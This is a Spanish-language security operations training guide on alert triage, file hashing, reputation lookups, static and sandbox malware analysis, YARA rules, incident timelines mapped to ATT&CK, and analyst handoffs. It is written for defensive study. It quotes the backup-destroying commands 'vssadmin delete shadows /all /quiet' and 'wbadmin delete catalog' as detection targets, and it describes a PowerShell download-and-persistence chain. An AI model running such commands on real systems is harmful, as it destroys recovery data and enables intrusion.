Comandos como vssadmin delete shadows /all /quiet eliminan las instantáneas de volumen, y wbadmin delete catalog elimina el catálogo de copias de seguridad. Los atacantes los usan para perjudicar la recuperación antes del cifrado por ransomware. Su aparición exige escalar la respuesta inmediatamente según el procedimiento, mientras el equipo comprueba la actividad relacionada de procesos y archivos.

Compara el software y el uso de recursos

El software de asistencia remota firmado puede proporcionar acceso no autorizado. Compara el inventario de EDR o MDM con la lista aprobada y los registros de despliegue. Investiga las herramientas de credenciales, los escáneres o las herramientas de transferencia a la nube como rclone en un equipo que no tenga una necesidad aprobada de usarlas.

Un minero puede llevar el uso de CPU o GPU cerca del 100 % y contactar con un grupo de minería, a veces mediante una dirección stratum+tcp://. Las cargas de trabajo legítimas también pueden tener un uso elevado, por lo que debes relacionar la carga de recursos con un proceso y un destino. El llenado del disco, el agotamiento de la memoria y los fallos repetidos de un servicio pueden apuntar a recopilación de datos o a intentos de explotación fallidos.

Relaciona la preparación de datos con el tráfico saliente

La preparación de datos para su transferencia reúne material antes de la exfiltración. Los archivos .7z o .rar grandes en una carpeta pública o temporal, la protección por contraseña y las partes de archivo de igual tamaño son pistas útiles. Identifica el proceso que los creó, los archivos recopilados y el momento de la operación.

Si un proceso no aprobado crea partes de un archivo comprimido y después envía una gran carga, la secuencia relaciona la preparación con la transferencia. Los datos de flujos miden el tráfico, pero no pueden revelar el contenido del archivo comprimido. Utiliza evidencias de procesos y acceso a archivos para determinar qué se recopiló; el tamaño del archivo comprimido por sí solo no permite establecer qué registros salieron de la organización.

La reputación añade contexto externo a las evidencias locales. Puede identificar un archivo conocido, revelar un dominio registrado recientemente o mostrar informes de abuso recientes. La antigüedad de la consulta, sus implicaciones para la privacidad y su relación con este equipo importan tanto como su puntuación.

Identifica el archivo exacto

Un hash criptográfico proporciona al contenido de un archivo un identificador de longitud fija. MD5 usa 32 caracteres hexadecimales, SHA-1 usa 40 y SHA-256 usa 64. Los ataques prácticos de colisión debilitan MD5 y SHA-1, por lo que debes usar SHA-256 para identificar evidencias.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

En Linux, utiliza sha256sum file. Cambiar incluso un byte modifica el hash drásticamente: los prefijos SHA-256 de «invoice» e «Invoice» son 52d6e3de4fa0dcc2 y b832002da297545f. Un atacante puede recompilar un contenido malicioso o añadirle relleno para eludir una coincidencia de hash exacta. Los hashes de similitud como ssdeep comparan el parecido; imphash agrupa archivos PE según sus importaciones.

Interpreta un informe de reputación

VirusTotal combina varios motores, relaciones e informes de análisis. Un resultado de 58/72 significa que aproximadamente el 81 % señaló el archivo; 3/72 significa aproximadamente el 4 %. Un recuento bajo puede reflejar una falsa alarma o una amenaza nueva. Examina los nombres de detección, el primer envío, los nombres de archivo observados, la firma y la infraestructura contactada junto con la proporción. Cero detecciones dejan abierta la cuestión del comportamiento.

Consultar un hash evita enviar el contenido del archivo, pero revela qué hash te interesa. Si el servicio ya tiene el archivo, el hash puede identificarlo. Las cargas comparten la muestra real y pueden exponerla a suscriptores o a un atacante que vigile los envíos. Comprueba primero el hash; conserva el contenido confidencial en sistemas privados de análisis aprobados.

Una firma válida aumenta la confianza en el origen, pero sigue siendo posible que se hayan robado certificados o se utilicen indebidamente herramientas del sistema firmadas. Verifica tanto la validez de la firma como si el firmante corresponde al producto declarado. Después evalúa el comportamiento observado del comando o archivo.

Interpreta el contexto de dominios e IP

Los datos de registro pueden revelar un registrador y una fecha de creación aunque los datos del propietario estén ocultos. RDAP es el protocolo oficial de datos de registro para dominios genéricos de nivel superior tras la transición de enero de 2025; las herramientas aún pueden etiquetar su vista como «WHOIS». Un dominio creado dos días antes de una campaña de phishing es una señal de advertencia útil. El DNS pasivo añade asignaciones anteriores de direcciones y la transparencia de certificados añade nombres de certificados emitidos.

AbuseIPDB reúne informes de abuso de IP. Comprueba las fechas y el servicio notificado: una IP de la nube puede haber cambiado de cliente. GeoIP proporciona una ubicación aproximada de la infraestructura, no una ubicación fiable de la persona detrás de una VPN, Tor o un servicio en la nube. El alojamiento compartido y las CDN también hacen que el bloqueo amplio de IP pueda causar interrupciones.

Prioriza evidencias que resisten los cambios

La pirámide del dolor ordena hashes, IP, dominios, artefactos de equipos y red, herramientas y técnicas del atacante según la dificultad creciente que supone para este cambiarlos. Los hashes exactos son fáciles de reemplazar. Una detección de Word que inicia un programa de descarga y establece persistencia puede seguir siendo útil después de que cambien el hash del archivo y el destino. Conserva los indicadores de corta duración con fechas de revisión o caducidad mientras registras el comportamiento que los produjo.

El análisis estático examina un archivo sin ejecutarlo. Ayuda a identificar qué es realmente el archivo, qué capacidades puede contener y qué debe observar un entorno aislado de análisis. Distingue las pistas sobre capacidades del comportamiento que realmente se ha observado.

Identifica el tipo y el contenido legible

Las extensiones son fáciles de cambiar. Inspecciona los bytes mágicos con file, un visor hexadecimal o la operación Detect File Type de CyberChef:

Un archivo adjunto llamado invoice.pdf que comienza con MZ se hace pasar por un documento. Confirma la estructura, ya que una firma breve por sí sola es solo una comprobación inicial del tipo.

strings -a file.exe de GNU extrae texto ASCII de todo el archivo. strings -a -e l file.exe extrae texto UTF-16LE, habitual en programas de Windows. FLOSS y Strings de Sysinternals pueden ayudar a cubrir ambos. Busca dominios, URL, comandos, rutas del Registro, nombres de archivo y mensajes de error. El texto extraído puede no usarse o ser engañoso, por lo que debes conservar su ubicación y compararlo con el comportamiento posterior.

Interpreta la estructura y las pistas de empaquetado

Un ejecutable PE tiene cabeceras, secciones como .text, .data y .rsrc, y una tabla de importaciones de las funciones que solicita. VirtualAllocEx, WriteProcessMemory y CreateRemoteThread juntas sugieren una posible inyección de código. URLDownloadToFile e InternetOpenUrl sugieren capacidad de descarga. Una marca de tiempo de compilación puede falsificarse y necesita corroboración.

Los empaquetadores comprimen o cifran código y lo desempaquetan en memoria. Pocas cadenas, una lista corta de importaciones, secciones UPX0/UPX1 y entropía alta sugieren empaquetado. La entropía se aproxima a 8 bits por byte para datos de aspecto muy aleatorio, pero los recursos comprimidos y los instaladores ordinarios pueden parecer similares. El empaquetado cambia la forma de investigar; no determina el dictamen.

Decodifica texto y prueba una coincidencia

Las recetas de CyberChef pueden combinar Base64, hexadecimal, XOR, descompresión y decodificación de URL. Aplica las operaciones en el orden que requiera el contenido. Una expresión regular como \b(?:\d{1,3}\.){3}\d{1,3}\b extrae texto con aspecto de IPv4, pero también coincide con 999.1.1.1, por lo que debes validar los resultados.

Una regla YARA puede combinar características independientes:

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

El archivo debe comenzar con MZ y contener ambas cadenas; ascii wide acepta la cadena de descarga en cualquiera de las dos representaciones. Prueba la regla con archivos que se sabe que son correctos para medir las coincidencias accidentales. Una coincidencia establece que se cumplen las condiciones de la regla, mientras que la revisión del analista determina su significado.

Para documentos, extrae macros con olevba. Para scripts, elimina la codificación o la ofuscación como texto. Utiliza las funciones, los argumentos y los indicadores resultantes para configurar e interpretar el análisis dinámico.

El análisis dinámico ejecuta una muestra en un entorno controlado y registra sus acciones. Un entorno aislado de análisis puede revelar el comportamiento oculto por el empaquetado o el contenido activo de un documento. Su informe describe esa ejecución con esa configuración; comprueba si la muestra tenía lo que necesitaba para actuar.

Prepara una ejecución útil

Utiliza un entorno aislado y dotado de herramientas de observación, como Joe Sandbox, Cuckoo o un entorno aislado interactivo. Sepáralo de producción, controla su acceso a la red y restablécelo a una instantánea limpia después de cada ejecución. Los servicios de red pueden simularse con INetSim o FakeNet, o encaminarse mediante una infraestructura de análisis aprobada. Conserva las muestras confidenciales en sistemas privados.

Selecciona el sistema operativo y las aplicaciones adecuados para el objetivo. Un documento con macros necesita el entorno de Office correspondiente; un archivo comprimido puede necesitar su contraseña; un programa puede requerir argumentos, clics, un proceso padre concreto o un reinicio. Registra esa configuración y la duración de la ejecución para que otro analista pueda interpretar el resultado.

Examina las acciones detrás de la puntuación

Inspecciona el árbol de procesos, los cambios de archivos y del Registro, la actividad DNS y HTTP, las conexiones, las capturas de pantalla y los hashes de archivos depositados. Un informe también puede mostrar mutexes y asignaciones de técnicas de ATT&CK. Un mutex coordina el acceso exclusivo a un recurso; el malware a veces usa un nombre de mutex distintivo para evitar ejecutar dos copias. El software legítimo también usa mutexes.

Considera la ejecución de un documento que produce Word → PowerShell oculto y codificado, una consulta de cdn-update.example.net, una solicitud HTTP GET de /a.ps1, C:\Users\Public\upd.exe y una entrada Run que apunta a ese archivo. Recopila el dominio, la IP, la URL, el hash y la ruta del archivo depositado y el valor Run. PowerShell respalda la asignación a T1059.001 y la entrada Run respalda T1547.001. La entrega mediante un archivo adjunto de phishing necesita evidencia independiente del correo para T1566.001.

Relaciona las afirmaciones del informe con sus eventos registrados. Una puntuación global alta ayuda a priorizar una muestra, pero las acciones de los procesos explican qué ocurrió y qué indicadores son útiles en tu entorno.

Investiga una muestra inactiva

El malware puede permanecer inactivo más allá del periodo de observación, detectar hardware virtual, inspeccionar los recursos de memoria o CPU, esperar clics o requerir un idioma o ubicación concretos. Una descarga fallida también puede impedir que se ejecute la siguiente etapa. Vuelve a comprobar las dependencias y los hallazgos estáticos antes de considerar tranquilizadora una ejecución inactiva.

Elige una nueva ejecución que compruebe una explicación concreta: amplía la duración para probar una demora, proporciona la aplicación o los argumentos necesarios, añade interacción o usa otro perfil de sistema operativo. Documenta qué cambió. Si persiste una incertidumbre importante, remite la muestra a un especialista en ingeniería inversa.

Incorpora los hallazgos al caso

Busca en los registros de DNS, proxy, firewall y EDR los dominios, las rutas, los hashes y los comportamientos relevantes. Las actualizaciones de Windows, las comprobaciones de certificados y las pruebas de conectividad del entorno aislado son actividad de fondo; distínguelas de las acciones causadas por la muestra antes de bloquear destinos.

Un entorno aislado puede proporcionar pistas de búsqueda para otros equipos, pero su ejecución aislada no establece qué equipos de producción fueron infectados. Relaciona las pistas con los eventos locales y el historial de procesos y después preserva esos registros junto con el informe y el hash de la muestra.

La correlación une registros en una descripción de un incidente que otro analista puede comprobar. El correo puede establecer la entrega, la telemetría del dispositivo final puede establecer la ejecución y la evidencia de red puede establecer la comunicación. Una cronología útil distingue esas observaciones de las relaciones causales que todavía estás comprobando.

Normaliza la hora y la identidad

Convierte las horas a UTC y conserva la zona original y cualquier desfase conocido del reloj. Una hora de EDR de 11:14:31 en UTC+2 es 09:14:31 UTC. Confirma si la consola o la exportación ha convertido las marcas de tiempo UTC originales de un sensor. La deriva del reloj por problemas de NTP puede dejar fuentes separadas por minutos incluso después de convertir las zonas horarias.

Elige campos de unión que identifiquen el mismo objeto en ese momento: equipo, usuario, hash, URL, dominio, Message-ID, uid de Zeek o GUID de proceso. Un PID necesita una hora de inicio porque puede reutilizarse. Una IP necesita el historial de DHCP o VPN porque una concesión posterior puede asignarla a otro equipo. Conserva cada registro de origen o referencia de consulta junto a la entrada de la cronología.

Construye la cadena de eventos observados

Para un caso, las evidencias en UTC son:

• 09:12:05: un mensaje que contiene invoice.docm llega a 40 buzones.
• 09:14:10: el usuario de WS-0423 abre el archivo adjunto.
• 09:14:31: Word inicia PowerShell codificado.
• 09:14:32–33: DNS resuelve el equipo de descarga y una solicitud HTTP GET pide /a.ps1.
• 09:15:02: se escribe upd.exe y se crea un valor Run.
• Desde las 09:20:00: las conexiones se repiten cada 300 segundos.
• La noche siguiente, 02:10–02:50: salen 2,4 GB hacia la misma IP.

Las evidencias de procesos y archivos respaldan las relaciones de ejecución y persistencia. La gran carga necesita atribuirse con más detalle: compartir una IP con tráfico anterior es una evidencia más débil que compartir una instancia de proceso y un canal de aplicación.

Asigna solo lo que respaldan las evidencias

MITRE ATT&CK proporciona nombres estándar para los comportamientos. El mensaje respalda el archivo adjunto de suplantación de identidad dirigida, T1566.001; PowerShell respalda T1059.001; la entrada Run respalda T1547.001. Asignar el tráfico periódico al C2 mediante protocolos web, T1071.001, necesita evidencia de HTTP o HTTPS. Asignar la carga a exfiltración por ese canal C2, T1041, necesita evidencia de que el mismo proceso y canal la transportaron.

ATT&CK no es una secuencia prescrita. El descubrimiento, el acceso a credenciales y el movimiento lateral son posibles búsquedas posteriores, no pasos ausentes que deban insertarse en la cronología.

Usa las lagunas para elegir la siguiente consulta

Si la carga supera los archivos propios del usuario, investiga si el proceso leyó recursos compartidos, generó datos, repitió transferencias o coincidió con tráfico legítimo. Identifica el emisor y el contenido transferido cuando estén disponibles. Registra un evento inexplicado como tal en lugar de forzarlo a encajar en la primera teoría.

Comprueba activamente una explicación alternativa, como un cambio aprobado o una copia de seguridad. El sesgo de confirmación aparece cuando un analista solo recopila hechos que encajan con el primer diagnóstico. Una cronología resulta más útil cuando cada relación incierta indica qué evidencia la reforzaría o debilitaría.

Un dictamen indica qué respaldan las evidencias, qué nivel de confianza tienes y qué debe ocurrir después. El registro del incidente debe permitir que otro analista repita la investigación. Una etiqueta de alerta de gravedad alta por sí sola no proporciona un dictamen ni un nivel de confianza justificable.

Clasifica el hallazgo

Un verdadero positivo alerta correctamente sobre actividad maliciosa. Un falso positivo alerta sobre actividad que queda fuera de lo que la detección pretendía encontrar. Un verdadero positivo benigno detecta correctamente un comportamiento real pero autorizado, como una prueba de penetración programada. Un falso negativo es actividad maliciosa que no se detectó. Utiliza «no concluyente» cuando las evidencias aún no permitan decidir e indica los datos que faltan.

Comprueba si el comportamiento corresponde al equipo y al usuario, si estaba autorizado, qué tan habitual es y si las fuentes independientes coinciden. Declara un nivel de confianza alto, medio o bajo con motivos concretos. La confianza describe la solidez del hallazgo; la gravedad describe su impacto y urgencia.

Un comando de PowerShell codificado, iniciado por un agente de despliegue firmado en 3000 equipos durante una ventana aprobada, se decodifica como una instalación autorizada. Es un verdadero positivo benigno cuando la regla detecta correctamente PowerShell codificado. El mismo patrón iniciado por Word en un equipo, que contacta con un dominio creado dos días antes y establece persistencia, respalda un dictamen de actividad maliciosa con confianza alta.

Redacta una transferencia reproducible

Registra un resumen breve, la cronología UTC, los equipos y cuentas afectados, los indicadores neutralizados, las técnicas de ATT&CK respaldadas, el dictamen y el nivel de confianza. Incluye consultas, identificadores de alertas, ubicaciones de evidencias y hashes de archivos para que otro analista pueda llegar a los mismos registros. Enumera las acciones ya realizadas y los siguientes pasos recomendados.

Explica por qué se cierra una alerta. Si una detección se activa repetidamente por actividad fuera de su alcance previsto, proporciona a los ingenieros de detección ejemplos y contexto para ajustarla. Un cierre sin explicación oculta tanto ataques no detectados como trabajo inútil recurrente.

Comparte indicadores con contexto

Añade una fecha de caducidad o revisión a los indicadores de dominios e IP porque su propiedad y uso cambian. Evita bloqueos indiscriminados de infraestructura compartida como las CDN. Los hashes exactos identifican una versión de un archivo, mientras que las detecciones basadas en comportamiento pueden detectar variantes. Conserva la relación entre un indicador, su comportamiento observado y su nivel de confianza al compartirlo.

Preserva las evidencias y escala la respuesta

Escala la respuesta ante un hallazgo malicioso confirmado según el procedimiento de respuesta a incidentes, con una gravedad basada en los activos afectados y el impacto. Preserva los mensajes originales, las capturas, las exportaciones de dispositivos finales y las muestras recopiladas. Registra el SHA-256 de cada archivo y quién lo recopiló o transfirió y cuándo. Estos registros de custodia documentan el manejo de las evidencias; el hash permite comprobar su integridad.

El aislamiento mediante EDR suele ser preferible a apagar el equipo porque restringe la comunicación mientras conserva la memoria y una vía de gestión. Terminar procesos y reiniciar también cambia las evidencias volátiles. Sigue las prioridades de contención del procedimiento, recopila lo que necesite el caso y registra el momento de cada acción de respuesta para que los analistas posteriores puedan distinguir la actividad del atacante de la respuesta.